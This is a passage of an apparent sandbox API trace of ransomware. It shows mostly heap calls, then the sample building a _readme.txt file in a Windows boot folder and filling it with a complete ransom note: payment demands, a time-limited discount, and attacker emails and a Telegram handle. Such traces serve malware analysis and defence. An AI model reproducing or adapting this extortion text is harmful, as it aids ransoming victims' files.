out: hHeap=0x640000) returned 1 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.448] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.448] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.449] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.449] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.450] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.450] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.450] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.450] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.450] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.450] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0266.450] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.450] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.450] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.450] PathFindFileNameW (pszPath="") returned="" [0266.450] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.450] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.451] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.451] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.451] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.451] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.451] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cb0 [0266.451] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.451] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0266.451] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.451] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0266.455] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.455] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.456] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.456] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.456] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.456] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.456] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.456] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.457] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.457] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.457] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.457] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.457] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.457] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.457] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.457] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.457] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.457] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.457] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.457] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.457] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.457] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.457] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.458] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.458] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.459] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.459] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.460] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.460] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.460] 